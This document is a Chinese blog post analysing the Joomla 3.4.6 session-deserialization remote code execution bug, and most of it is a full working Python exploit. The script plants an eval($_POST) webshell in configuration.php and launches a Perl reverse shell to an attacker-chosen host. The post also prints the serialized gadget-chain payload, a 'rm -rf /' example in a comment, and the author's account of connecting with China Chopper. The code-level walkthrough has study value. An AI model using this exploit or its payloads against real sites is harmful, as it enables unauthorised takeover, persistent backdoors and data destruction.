前言
前几天看了下PHP 反序列化字符逃逸学习，有大佬简化了一下joomla3.4.6rce的代码，今天来自己分析学习一下
环境搭建
Joomla 3.4.6 : https://downloads.joomla.org/it/cms/joomla3/3-4-6
php ：5.4.45nts（不支持php7）
影响版本: 3.0.0 — 3.4.6
漏洞利用: https://github.com/SecurityCN/Vulnerability-analysis/tree/master/Joomla
要求PHP Version >= 5.3.10
漏洞复现
下载poc之后安装需要的包，运行exp
菜刀按上面的网址和密码链接
查看configuration.php发现已经写入一句话
exp分析
#!/usr/bin/env python3
import requests
from bs4 import BeautifulSoup
import sys
import string
import random
import argparse
from termcolor import colored
PROXS = {'http':'127.0.0.1:8080'}
#PROXS = {}
def random_string(stringLength):
letters = string.ascii_lowercase
return ''.join(random.choice(letters) for i in range(stringLength))
backdoor_param = random_string(50)
def print_info(str):
print(colored("[*] " + str,"cyan"))
def print_ok(str):
print(colored("[+] "+ str,"green"))
def print_error(str):
print(colored("[-] "+ str,"red"))
def print_warning(str):
print(colored("[!!] " + str,"yellow"))
def get_token(url, cook):
token = ''
resp = requests.get(url, cookies=cook, proxies = PROXS)
html = BeautifulSoup(resp.text,'html.parser')
# csrf token is the last input
for v in html.find_all('input'):
csrf = v
csrf = csrf.get('name')
return csrf
def get_error(url, cook):
resp = requests.get(url, cookies = cook, proxies = PROXS)
if 'Failed to decode session object' in resp.text:
#print(resp.text)
return False
#print(resp.text)
return True
def get_cook(url):
resp = requests.get(url, proxies=PROXS)
#print(resp.cookies)
return resp.cookies
def gen_pay(function, command):
# Generate the payload for call_user_func('FUNCTION','COMMAND')
template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'
#payload = command + ' || $a=\'http://wtf\';'
payload = 'http://l4m3rz.l337/;' + command
# Following payload will append an eval() at the enabled of the configuration file
#payload = 'file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'test\\\'])) eval($_POST[\\\'test\\\']);\', FILE_APPEND) || $a=\'http://wtf\';'
function_len = len(function)
final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function)))
return final
def make_req(url , object_payload):
# just make a req with object
print_info('Getting Session Cookie ..')
cook = get_cook(url)
print_info('Getting CSRF Token ..')
csrf = get_token( url, cook)
user_payload = '\\0\\0\\0' * 9
padding = 'AAA' # It will land at this padding
working_test_obj = 's:1:"A":O:18:"PHPObjectInjection":1:{s:6:"inject";s:10:"phpinfo();";}'
clean_object = 'A";s:5:"field";s:10:"AAAAABBBBB' # working good without bad effects
inj_object = '";'
inj_object += object_payload
inj_object += 's:6:"return";s:102:' # end the object with the 'return' part
password_payload = padding + inj_object
params = {
'username': user_payload,
'password': password_payload,
'option':'com_users',
'task':'user.login',
csrf :'1'
}
print_info('Sending request ..')
resp = requests.post(url, proxies = PROXS, cookies = cook,data=params)
return resp.text
def get_backdoor_pay():
# This payload will backdoor the the configuration .PHP with an eval on POST request
function = 'assert'
template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'
# payload = command + ' || $a=\'http://wtf\';'
# Following payload will append an eval() at the enabled of the configuration file
payload = 'file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'' + backdoor_param +'\\\'])) eval($_POST[\\\''+backdoor_param+'\\\']);\', FILE_APPEND) || $a=\'http://wtf\';'
function_len = len(function)
final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function)))
return final
def check(url):
check_string = random_string(20)
target_url = url + 'index.php/component/users'
html = make_req(url, gen_pay('print_r',check_string))
if check_string in html:
return True
else:
return False
def ping_backdoor(url,param_name):
res = requests.post(url + '/configuration.php', data={param_name:'echo \'PWNED\';'}, proxies = PROXS)
if 'PWNED' in res.text:
return True
return False
def execute_backdoor(url, payload_code):
# Execute PHP code from the backdoor
res = requests.post(url + '/configuration.php', data={backdoor_param:payload_code}, proxies = PROXS)
print(res.text)
def exploit(url, lhost, lport):
# Exploit the target
# Default exploitation will append en eval function at the end of the configuration.pphp
# as a bacdoor. btq if you do not want this use the funcction get_pay('php_function','parameters')
# e.g. get_payload('system','rm -rf /')
# First check that the backdoor has not been already implanted
target_url = url + 'index.php/component/users'
make_req(target_url, get_backdoor_pay())
if ping_backdoor(url, backdoor_param):
print_ok('Backdoor implanted, eval your code at ' + url + '/configuration.php in a POST with ' + backdoor_param)
print_info('Now it\'s time to reverse, trying with a system + perl')
execute_backdoor(url, 'system(\'perl -e \\\'use Socket;$i="'+ lhost +'";$p='+ str(lport) +';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\\\'\');')
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('-t','--target',required=True,help='Joomla Target')
parser.add_argument('-c','--check', default=False, action='store_true', required=False,help='Check only')
parser.add_argument('-e','--exploit',default=False,action='store_true',help='Check and exploit')
parser.add_argument('-l','--lhost', required='--exploit' in sys.argv, help='Listener IP')
parser.add_argument('-p','--lport', required='--exploit' in sys.argv, help='Listener port')
args = vars(parser.parse_args())
url = args['target']
if(check(url)):
print_ok('Vulnerable')
if args['exploit']:
exploit(url, args['lhost'], args['lport'])
else:
print_info('Use --exploit to exploit it')
else:
print_error('Seems NOT Vulnerable ;/')
在第一行已经定义了代理
PROXS = {'http':'127.0.0.1:8080'}
获取cookie
def get_cook(url):
resp = requests.get(url, proxies=PROXS)
#print(resp.cookies)
return resp.cookies
获取csrf token
def get_token(url, cook):
token = ''
resp = requests.get(url, cookies=cook, proxies = PROXS)
html = BeautifulSoup(resp.text,'html.parser')
# csrf token is the last input
for v in html.find_all('input'):
csrf = v
csrf = csrf.get('name')
return csrf
验证漏洞存在，如果存在的话，执行exploit
从新获取cookie和token，写入一句话，检查一句话是否存在，之后通过一句话执行反弹shell操作
def execute_backdoor(url, payload_code):
# Execute PHP code from the backdoor
res = requests.post(url + '/configuration.php', data={backdoor_param:payload_code}, proxies = PROXS)
print(res.text)
def exploit(url, lhost, lport):
# Exploit the target
# Default exploitation will append en eval function at the end of the configuration.pphp
# as a bacdoor. btq if you do not want this use the funcction get_pay('php_function','parameters')
# e.g. get_payload('system','rm -rf /')
# First check that the backdoor has not been already implanted
target_url = url + 'index.php/component/users'
make_req(target_url, get_backdoor_pay())
if ping_backdoor(url, backdoor_param):
print_ok('Backdoor implanted, eval your code at ' + url + '/configuration.php in a POST with ' + backdoor_param)
print_info('Now it\'s time to reverse, trying with a system + perl')
execute_backdoor(url, 'system(\'perl -e \\\'use Socket;$i="'+ lhost +'";$p='+ str(lport) +';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\\\'\');')
这里跟踪一下写入一句话，漏洞点存在于libraries/joomla/session/storage/database.php中于是我们在这里下断点查看一下
public function read($id)
{
// Get the database connection object and verify its connected.
$db = JFactory::getDbo();
try
{
// Get the session data from the database table.
$query = $db->getQuery(true)
->select($db->quoteName('data'))
->from($db->quoteName('#__session'))
->where($db->quoteName('session_id') . ' = ' . $db->quote($id));
$db->setQuery($query);
$result = (string) $db->loadResult();
$result = str_replace('\0\0\0', chr(0) . '*' . chr(0), $result);
return $result;
}
catch (Exception $e)
{
return false;
}
}
/**
* Write session data to the SessionHandler backend.
*
* @param string $id The session identifier.
* @param string $data The session data.
*
* @return boolean True on success, false otherwise.
*
* @since 11.1
*/
public function write($id, $data)
{
// Get the database connection object and verify its connected.
$db = JFactory::getDbo();
$data = str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
try
{
$query = $db->getQuery(true)
->update($db->quoteName('#__session'))
->set($db->quoteName('data') . ' = ' . $db->quote($data))
->set($db->quoteName('time') . ' = ' . $db->quote((int) time()))
->where($db->quoteName('session_id') . ' = ' . $db->quote($id));
// Try to update the session data in the database table.
$db->setQuery($query);
if (!$db->execute())
{
return false;
}
/* Since $db->execute did not throw an exception, so the query was successful.
Either the data changed, or the data was identical.
In either case we are done.
*/
return true;
}
catch (Exception $e)
{
return false;
}
}
看以前前面的过滤，如果传入chr(0).’*’.chr(0)是没什么用的，但是如果传入\0\0\0，就可以对序列化的字符串长度进行缩短，有了之前的分析，这里就会好理解许多,可以参考我的另一篇文章
PHP 反序列化字符逃逸学习
数据库中的数据
__default|a:8:{s:15:"session.counter";i:3;s:19:"session.timer.start";i:1588261345;s:18:"session.timer.last";i:1588261347;s:17:"session.timer.now";i:1588261570;s:8:"registry";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":1:{s:5:"users";O:8:"stdClass":1:{s:5:"login";O:8:"stdClass":1:{s:4:"form";O:8:"stdClass":2:{s:4:"data";a:5:{s:6:"return";s:39:"index.php?option=com_users&view=profile";s:8:"username";s:54:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:603:"AAA";s:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:217:"file_put_contents('configuration.php','if(isset($_POST[\'mzysekpmmemmyrwlhdzratayojwpxsplcftezgsreidrattndu\'])) eval($_POST[\'mzysekpmmemmyrwlhdzratayojwpxsplcftezgsreidrattndu\']);', FILE_APPEND) || $a='http://wtf';";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}s:6:"return";s:102:";s:9:"secretkey";s:0:"";s:8:"remember";i:0;}s:6:"return";s:39:"index.php?option=com_users&view=profile";}}}}s:9:"separator";s:1:".";}s:4:"user";O:5:"JUser":26:{s:9:"\0\0\0isRoot";N;s:2:"id";i:0;s:4:"name";N;s:8:"username";N;s:5:"email";N;s:8:"password";N;s:14:"password_clear";s:0:"";s:5:"block";N;s:9:"sendEmail";i:0;s:12:"registerDate";N;s:13:"lastvisitDate";N;s:10:"activation";N;s:6:"params";N;s:6:"groups";a:1:{i:0;s:1:"9";}s:5:"guest";i:1;s:13:"lastResetTime";N;s:10:"resetCount";N;s:12:"requireReset";N;s:10:"\0\0\0_params";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:14:"\0\0\0_authGroups";N;s:14:"\0\0\0_authLevels";a:3:{i:0;i:1;i:1;i:1;i:2;i:5;}s:15:"\0\0\0_authActions";N;s:12:"\0\0\0_errorMsg";N;s:13:"\0\0\0userHelper";O:18:"JUserWrapperHelper":0:{}s:10:"\0\0\0_errors";a:0:{}s:3:"aid";i:0;}s:13:"session.token";s:32:"878c42d725cd32dcc52aa2ca0c848ded";s:17:"application.queue";a:1:{i:0;a:2:{s:7:"message";s:69:"Username and password do not match or you do not have an account yet.";s:4:"type";s:7:"warning";}}}
//正常的数据
__default|a:8:{s:15:"session.counter";i:2;s:19:"session.timer.start";i:1588256254;s:18:"session.timer.last";i:1588256254;s:17:"session.timer.now";i:1588256306;s:8:"registry";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:4:"user";O:5:"JUser":26:{s:9:"\0\0\0isRoot";N;s:2:"id";i:0;s:4:"name";N;s:8:"username";N;s:5:"email";N;s:8:"password";N;s:14:"password_clear";s:0:"";s:5:"block";N;s:9:"sendEmail";i:0;s:12:"registerDate";N;s:13:"lastvisitDate";N;s:10:"activation";N;s:6:"params";N;s:6:"groups";a:1:{i:0;s:1:"9";}s:5:"guest";i:1;s:13:"lastResetTime";N;s:10:"resetCount";N;s:12:"requireReset";N;s:10:"\0\0\0_params";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:14:"\0\0\0_authGroups";N;s:14:"\0\0\0_authLevels";a:3:{i:0;i:1;i:1;i:1;i:2;i:5;}s:15:"\0\0\0_authActions";N;s:12:"\0\0\0_errorMsg";N;s:13:"\0\0\0userHelper";O:18:"JUserWrapperHelper":0:{}s:10:"\0\0\0_errors";a:0:{}s:3:"aid";i:0;}s:13:"session.token";s:32:"d4bc08c9cb28f7a2920ca1851c822d38";s:17:"application.queue";a:1:{i:0;a:2:{s:7:"message";s:46:"Your session has expired. Please log in again.";s:4:"type";s:7:"warning";}}}
可以看到和正常数据不同的地方的后面也有很多类似函数的参数，把上面的格式化一下
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11228333 查看本文章
__default|
a:8:
{
s:15:"session.counter";
i:3;
s:19:"session.timer.start";
i:1588261345;
s:18:"session.timer.last";
i:1588261347;
s:17:"session.timer.now";
i:1588261570;
s:8:"registry";
O:24:"Joomla\Registry\Registry":2:
{
s:7:"\0\0\0data";
O:8:"stdClass":1:
{
s:5:"users";
O:8:"stdClass":1:
{
s:5:"login";
O:8:"stdClass":1:
{
s:4:"form";
O:8:"stdClass":2:
{
s:4:"data";
a:5:
{
s:6:"return";s:39:"index.php?option=com_users&view=profile";
s:8:"username";s:54:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";
s:8:"password";s:603:"AAA";s:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:217:"file_put_contents('configuration.php','if(isset($_POST[\'mzysekpmmemmyrwlhdzratayojwpxsplcftezgsreidrattndu\'])) eval($_POST[\'mzysekpmmemmyrwlhdzratayojwpxsplcftezgsreidrattndu\']);', FILE_APPEND) || $a='http://wtf';";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}s:6:"return";s:102:";
s:9:"secretkey";s:0:"";
s:8:"remember";i:0;
}
s:6:"return";
s:39:"index.php?option=com_users&view=profile";
}
}
}
}
s:9:"separator";
s:1:".";
}
s:4:"user";
O:5:"JUser":26:
{
s:9:"\0\0\0isRoot";N;
s:2:"id";i:0;
s:4:"name";N;
s:8:"username";N;
s:5:"email";N;
s:8:"password";N;
s:14:"password_clear";s:0:"";
s:5:"block";N;
s:9:"sendEmail";i:0;
s:12:"registerDate";N;
s:13:"lastvisitDate";N;
s:10:"activation";N;
s:6:"params";N;
s:6:"groups";a:1:{i:0;s:1:"9";}
s:5:"guest";i:1;
s:13:"lastResetTime";N;
s:10:"resetCount";N;
s:12:"requireReset";N;
s:10:"\0\0\0_params";
O:24:"Joomla\Registry\Registry":2:
{
s:7:"\0\0\0data";
O:8:"stdClass":0:{}
s:9:"separator";s:1:".";
}
s:14:"\0\0\0_authGroups";N;
s:14:"\0\0\0_authLevels";a:3:{i:0;i:1;i:1;i:1;i:2;i:5;}
s:15:"\0\0\0_authActions";N;
s:12:"\0\0\0_errorMsg";N;
s:13:"\0\0\0userHelper";
O:18:"JUserWrapperHelper":0:{}
s:10:"\0\0\0_errors";a:0:{}
s:3:"aid";i:0;
}
s:13:"session.token";
s:32:"878c42d725cd32dcc52aa2ca0c848ded";
s:17:"application.queue";
a:1:{i:0;a:2:{s:7:"message";s:69:"Username and password do not match or you do not have an account yet.";s:4:"type";s:7:"warning";}}}
Services 一文中给出所有的字母标示及其含义：
a - array b - boolean d - double i - integer o - common object r - reference s - string C - custom object O - class N - null R - pointer reference U - unicode string
在其中的";s:8:"password";s:603:"AAA长度为27，正好为构造的payload，经过read函数的替换之后变为
之后经过一个303跳转，请求index.php/component/users/?view=login从新调用read()函数，触发payload
这里的password字段被替换为一个类
查看libraries/joomla/database/driver/mysqli.php中206行
public function __destruct()
{
$this->disconnect();
}
public function disconnect()
{
// Close the connection.
if ($this->connection)
{
foreach ($this->disconnectHandlers as $h)
{
call_user_func_array($h, array( &$this));
}
mysqli_close($this->connection);
}
$this->connection = null;
}
存在一个call_user_func_array函数，但是这里面的&$this是我们不可控的，所以需要取寻找另一个利用点，新调用一个对象，在libraries/simplepie/simplepie.php中
这里simplepie是没有定义的，所以需要new JSimplepieFactory()，并且在SimplePie类中，需要满足if ($this->cache && $parsed_feed_url['scheme'] !== '')才能调用下面的call_user_func,并且为了满足能够实现函数使用，需要$cache = call_user_func(array($this->cache_class, 'create'), $this->cache_location, call_user_func($this->cache_name_function, $this->feed_url), 'spc');中的cache_name_function和feed_url为我们的函数和命令
在这个序列化的过程中，我没有理解为什么要新new出来一个JDatabaseDriverMysql对象，这个对象extendsJDatabaseDriverMysqli,难道是为了再调用JDatabaseDriverMysqli中的方法么，如果有大佬知道的话，欢迎留言评论
参考文章
https://xz.aliyun.com/t/6522
https://www.freebuf.com/vuls/216130.html
https://blog.csdn.net/qq_43645782/article/details/105801796